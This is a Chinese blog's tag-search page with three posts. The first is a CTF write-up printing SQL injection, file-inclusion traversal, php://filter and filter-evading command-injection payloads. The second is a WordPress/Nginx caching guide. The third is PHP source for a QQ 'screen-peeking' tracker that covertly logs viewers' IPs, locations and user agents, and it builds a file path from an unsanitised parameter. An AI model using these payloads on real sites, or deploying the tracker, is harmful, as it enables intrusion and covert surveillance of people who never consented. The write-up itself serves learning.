找到
3
篇与
PHP
相关的结果
-
【CTF】Day 1 重操旧业! [极客大挑战 2019]EasySQL 题目截图图片 进入后发现是账号登录的界面,尝试一些特殊字符串,如单引号,发现报错: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'admin'' at line 1 这说明存在注入点,我们输入账号为以下值,密码随意输入后,即可拿到 flag。 Payload test' or 1;# [极客大挑战 2019]Havefun 进去后是一只猫,点击后没什么反应,只能先审计源代码。在根目录发现如下代码: <!-- $cat=$_GET['cat']; echo $cat; if($cat=='dog'){ echo 'Syc{cat_cat_cat_cat}'; } -->Havefun截图图片 直接在 URL 内带参,即可得到 flag。 Payload /?cat=dog[HCTF 2018]WarmUp 进去后是个滑稽,老样子先审计代码,发现 HTML 注释内带着一个文件名:source.php,访问后发现输出代码: 源码截图图片 <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>代码审计 checkFile 函数 判断 page,如果为空或不为字符串,则返回 false。 检测 page 是否在白名单列表内,如果在,则返回 true。 新建 _page 变量,拼接 page 和问号,然后截取问号前的内容,再次判断是否在白名单。还会进行一次 urldecode 提高兼容性。 在白名单列表里还有 hint.php,访问后提示:flag not here, and flag in ffffllllaaaagggg,说明 flag 在一个名为 ffffllllaaaagggg 的文件内。 根据逻辑,可以传入白名单文件名并在后面加问号,这样 checkFile 通过校验,而后面的 include 则能拼接访问到真正的 flag。 Payload /?file=source.php?../../../../../ffffllllaaaagggg[ACTF2020 新生赛]Include 进入后只有个超链接 tips,点击后访问 ?file=flag.php,输出 Can you find out the flag?。 题目提示了是 include,于是尝试 index.php,发现输出重复,说明重复调用,需要加密输出。 尝试 php://input 被拦截,提示 hacker。于是使用 php://filter: ?file=php://filter/read=convert.base64-encode/resource=index.php解码后代码如下: <meta charset="utf8"> <?php error_reporting(0); $file = $_GET["file"]; if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){ exit('hacker!'); } if($file){ include($file); }else{ echo '<a href="?file=flag.php">tips</a>'; } ?>同理,读取 flag.php 即可获取 flag。 Payload /?file=php://filter/read=convert.base64-encode/resource=flag.php[ACTF2020 新生赛]Exec 进去后有一个输入框,可以进行 ping IP 操作,下面有回显。 exec截图1图片 题目提示 exec,推断是 ping IP,于是构造命令: exec截图2图片 127.0.0.1&&cd /&&ls看到回显中有 flag,直接查看: Payload 127.0.0.1&&cat /flag[GXYCTF2019]Ping Ping Ping 进入后提示 /?ip=,输入 ?ip=127.0.0.1,输出了 ping 结果。 在 IP 后加入 ls 成功执行,发现有 index.php 和 flag.php。 尝试 cat flag.php 提示不能有空格,于是用 $IFS 代替,结果发现不能使用 flag 关键字。于是想到用 base64 执行: ?ip=;a=Y2F0IGZsYWcucGhw;echo$IFS$a|base64$IFS-d|bash提示 bash 不能用,尝试了花括号、小括号、星号都不行,最后用反引号成功。 Payload /?ip=;a=Y2F0IGZsYWcucGhw;echo$IFS$a|base64$IFS-d[SUCTF 2019]EasySQL 进入后是一段话:Give me your flag, I will tell you if the flag is right. 下方有个输入框。 输入 flag 后提示 NONONO;输入双引号也提示 NONONO,推断有屏蔽词,比如 and、or、from。 输入数字时返回 Array ( [0] => 1 ),说明可以查表,但语句中不能出现屏蔽词。 查阅 WP,有两种方法: 利用 SQL 查询逻辑 数字输入有回显,字符串无回显,说明存在 OR 逻辑。SQL 语句大概是: select cmd || flag from flag当 cmd=*,1 时: select *,1 || flag from flag这样 1 短路第一个 flag,成功查询出 flag。 利用 sql\_mode sql_mode 控制 SQL 语法,PIPES_AS_CONCAT 会将 || 当作字符串连接符,而不是逻辑或。 Payload *,11;set sql_mode=PIPES_AS_CONCAT;select 1今天学到很多,睡觉睡觉。 -
WordPress优化方法大全 前言 WordPress 是很流行的博客程序,很多站长使用它构建自己的站点。然而,如果不进行优化,WordPress 的打开速度和并发能力会很差。本文汇总了常见的 WordPress 优化方法。下图是优化后的站点测速图(使用了 CLOUDFLARE): 优化后站点测速图图片 教程 PHP 设置你的 PHP 版本为 8.3。经测试,WordPress 运行在 PHP 8.3 性能最好。1 安装 PHP 扩展 opcache。 WordPress 安装插件 WP Super Cache。这个插件大多数站点都在使用,而且效果确实不错。 安装插件 Redis Object Cache。这个插件需要你的服务器安装 Redis 后才可以使用。 安装插件 Nginx Helper。这个插件需要配合 Nginx 的模块一起使用,详细教程在后文。 安装插件 WPJAM BASIC。这个插件可以屏蔽所有 WordPress 不常用的功能。 Nginx 使用模块 ngx_cache_purge。 如果你是宝塔用户,那么恭喜你,宝塔在安装 Nginx 时安装了该模块。具体可以通过以下命令查看安装情况: nginx -V 2>&1 | grep -o ngx_cache_purge ```` 如果正常输出了 `ngx_cache_purge`,说明你的 Nginx 已经安装了该模块。 接下来,我们需要创建缓存文件夹: 将 paolu_host 替换为你的域名 mkdir -p /tmp/nginx-cache/paolu_host chmod 755 /tmp/nginx-cache/paolu_host 如果你有多个域名,同上 创建缓存文件夹后,在 Nginx 配置文件的 `server` 块前加入以下代码: 将 paolu_host 和 paolu.host 改为你的域名 levels 不需要改动,它指定该缓存空间有两层 hash 目录 keys_zone 来给缓存空间命名,一般使用域名,冒号后指定缓存空间的大小 inactive 是缓存时间 max_size 定义缓存空间的最大值 fastcgi_cache_path /tmp/nginx-cache/paolu_host levels=1:2 keys_zone=paolu.host:100m inactive=1d max_size=5G; fastcgi_cache_key "$scheme$request_method$host$request_uri"; fastcgi_cache_use_stale error timeout invalid_header http_500; fastcgi_ignore_headers Cache-Control Expires Set-Cookie; 宝塔用户可以参考下图配置:  接下来,在网站的配置文件处添加如下配置: > 注意: > > * sock 路径需要修改,如果填错会导致网站 502。 > * 缓存清理配置中,请将 `1.1.1.1` 修改为你的服务器 IP。 post 访问不缓存 if ($request_method = POST) { set $skip_cache 1; } 动态查询不缓存 if ($query_string != "") { set $skip_cache 1; } 后台等特定页面不缓存 if ($request_uri ~ "/wp-admin/|/xmlrpc.php|wp-..php|/feed/|index.php|sitemap(_index)?.xml") { set $skip_cache 1; } 登录用户、评论过的用户不展示缓存 if ($http_cookie ~* "comment_author|wordpress_[a-f0-9]+|wp-postpass|wordpress_no_cache|wordpress_logged_in") { set $skip_cache 1; } 这里请参考你网站之前的配置,特别是 sock 的路径,弄错了就 502 了! location ~ 2.php(/|$) { try_files $uri =404; fastcgi_pass unix:/tmp/php-cgi-83.sock; fastcgi_index index.php; include fastcgi.conf; add_header Strict-Transport-Security "max-age=63072000; includeSubdomains; preload"; # 新增的缓存规则 fastcgi_cache_bypass $skip_cache; fastcgi_no_cache $skip_cache; add_header X-Cache "$upstream_cache_status From $host"; fastcgi_cache paolu.host; add_header Cache-Control max-age=0; add_header Nginx-Cache "$upstream_cache_status"; add_header Last-Modified $date_gmt; add_header X-Frame-Options SAMEORIGIN; add_header X-Content-Type-Options nosniff; add_header X-XSS-Protection "1; mode=block"; etag on; fastcgi_cache_valid 200 301 302 1d;} 缓存清理配置 location ~ /purge(/.*) { allow 127.0.0.1; allow "1.1.1.1"; # 引号要保留 deny all; fastcgi_cache_purge paolu.host "$scheme$request_method$host$1"; } 宝塔用户可以参考下图配置:  配置完成后,访问你的网站。如果响应头有 `Nginx-Cache: HIT`,说明配置成功,如下图:  如果你需要清理缓存,请使用上文中安装的插件 `Nginx Helper`。 ## 总结 如果配合 CDN 的缓存功能,可能会更快,但作者还没分析到那么深入,过两天再发一篇文章吧。 --- [^1]: [WordPress 在 PHP 8 各版本中的性能测试 - 站长帮](https://zhanzhangb.cn/blog/wordpress-php8-performance.html) 1 ↩ / ↩ -
QQ窥屏检测源码分享 前言 QQ 是一款热门的即时通讯软件。随着时间推移,它的功能和玩法被用户一一发现。 有些用户不说话,只看群聊消息。对于这些用户,我们不知道他是否在看群的内容。而 QQ 窥屏检测可以简单、方便地检测出他们的存在。 窥屏检测的原理 QQ 有一种卡片消息,里面可以插入网络图片。当用户的设备渲染到该卡片时,会自动请求该链接。 我们可以利用其自动请求的特性,在服务端保存请求的 IP 地址、时间以及 UA 信息。 程序的使用方法 程序会检测 GET 参数 id,如果没有则直接退出。 当程序被请求时,会在 ./kpData/ 文件夹下生成 id.txt 文件,包含请求时间、用户 IP、IP 属地和用户 UA。 每条数据用回车分隔。 每组数据用两个回车分隔。 未来会实现的功能 屏蔽请求者的 IP 程序部分源码 <?php $id = $_GET['id']; // id 不存在则抛出错误 if(!$id) die('Missing parameter: id'); require './ipdatabase/src/IpParser/IpParserInterface.php'; require './ipdatabase/src/IpLocation.php'; require './ipdatabase/src/IpParser/QQwry.php'; require './ipdatabase/src/IpParser/IpV6wry.php'; require './ipdatabase/src/StringParser.php'; use itbdw\Ip\IpLocation; $ip = $_SERVER['REMOTE_ADDR']; $date = date("Y年m月d日 H时i分m秒"); $ua = $_SERVER['HTTP_USER_AGENT']; $region = IpLocation::getLocation($ip)["area"]; file_put_contents('kpData/'.$id.'.txt', "$date\n$ip\n$region\n$ua\n\n", FILE_APPEND); header("Location: https://api.dujin.org/bing/1920.php", true, 302); ```` ## 程序下载 * [GitHub](https://github.com/xiaoeyv/screen_sniffing_detection) * [Gitee](https://gitee.com/xiaoeyv/screen_sniffing_detection) * [本站](https://paolu.host/usr/uploads/2024/03/3170647613.gz)